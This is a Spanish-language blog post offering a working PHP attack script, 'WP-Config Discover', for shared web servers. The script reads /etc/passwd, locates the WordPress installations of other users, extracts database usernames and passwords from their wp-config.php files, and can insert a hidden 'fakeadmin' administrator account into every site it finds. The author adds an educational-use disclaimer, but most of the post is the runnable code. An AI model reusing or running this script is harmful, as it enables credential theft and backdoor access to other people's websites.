WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario
www-data sobre el fichero
wp-config.php.
Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).
Código
< ?php
$paths = array(
"blog",
"site",
"html",
"www",
"html/blog",
"www/blog",
"site/blog",
"wordpress",
"wp",
"www/wp",
"www/wordpress",
"html/wordpress",
"html/wp",
"public_html",
"public_html/blog",
"public_html/wp",
"public_html/wordpress",
);
$files = array(
"wp-config.php",
);
print "Checking for ....\n";
if(!is_readable("/etc/passwd")) die("err0r: can't read /etc/passwd (safe mode?)");
$_f = @file("/etc/passwd");
foreach($_f as $usr){
$usr = explode(":", $usr);
$uid = $usr[2];
$home = $usr[5];
$usr = $usr[0];
if($uid >= 1000){
print $usr." (uid:".$uid."): ".$home."\n";
foreach($paths as $path){
if(file_exists($home."/".$path)) {
print "\tSearching in ".$home."/".$path."\n";
foreach($files as $file){
if(file_exists($home."/".$path."/".$file)){
print "\t\tFound: ".$file."\n";
$__f = @file($home."/".$path."/".$file);
foreach($__f as $line){
if(stristr($line, "DB_USER")) { preg_match_all('/define\(\'(.*)\);/', $line, $output); print "\t\t\t".str_replace("DB_USER', ","usr=>", $output[1][0])."\n"; }
if(stristr($line, "DB_PASSWORD")) { preg_match_all('/define\(\'(.*)\);/', $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD', ", "pwd=>", $output2[1][0])."\n"; }
if(stristr($line, "DB_NAME")) { preg_match_all('/define\(\'(.*)\);/', $line, $output3); print "\t\t\t".str_replace("DB_NAME', ", "db=>", $output3[1][0])."\n"; }
if(stristr($line, "DB_HOST")) { preg_match_all('/define\(\'(.*)\);/', $line, $output4); print "\t\t\t".str_replace("DB_HOST', ", "host=>", $output4[1][0])."\n"; }
if(stristr($line, "\$table_prefix")) { preg_match_all('/\$table_prefix(.*);/', $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
flush();
}
print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
if($_GET['attack'] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
if($_GET['attack'] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
flush();
}
}
}
flush();
}
flush();
}
}
function getURL($user, $pass, $db, $host, $prefix){
preg_match_all('/, \'(.*)\'/', $user, $user); $user = $user[1][0];
preg_match_all('/, \'(.*)\'/', $pass, $pass); $pass = $pass[1][0];
preg_match_all('/, \'(.*)\'/', $db, $db); $db = $db[1][0];
preg_match_all('/, \'(.*)\'/', $host, $host); $host = $host[1][0];
preg_match_all('/\'(.*)\'/', $prefix, $prefix); $prefix = $prefix[1][0];
$sql = @mysql_connect($host, $user, $pass);
@mysql_select_db($db);
$_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name='siteurl'", $sql);
@mysql_close($sql);
return @mysql_result($_q, 0, 'option_value');
}
function UserAdmin($action, $user, $pass, $db, $host, $prefix){
preg_match_all('/, \'(.*)\'/', $user, $user); $user = $user[1][0];
preg_match_all('/, \'(.*)\'/', $pass, $pass); $pass = $pass[1][0];
preg_match_all('/, \'(.*)\'/', $db, $db); $db = $db[1][0];
preg_match_all('/, \'(.*)\'/', $host, $host); $host = $host[1][0];
preg_match_all('/\'(.*)\'/', $prefix, $prefix); $prefix = $prefix[1][0];
$sql = @mysql_connect($host, $user, $pass);
@mysql_select_db($db);
if($action == "create"){
$wp_uid = rand(9990,99999);
@mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", 'fakeadmin', md5('dummie'), 'wordpress', 'dummie@wordpress.cl', 'https://', NOW(), '', 0, 'wordpressdummieadmin')", $sql);
@mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' )", $sql);
}
if($action == "delete"){
mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login='fakeadmin')", $sql);
mysql_query("DELETE FROM ".$prefix."users WHERE user_login='fakeadmin'", $sql);
}
@mysql_close($sql);
return "fakeadmin/dummie";
}
?>
Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables
attack=create_user o
attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.
Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser
mortal.
El código está disponible tambien en
https://codes.zerial.org/php/wp-config_discover.phps
nota: queda de más decir que es para uso educativo y es una herramienta de auditoría :)
saludos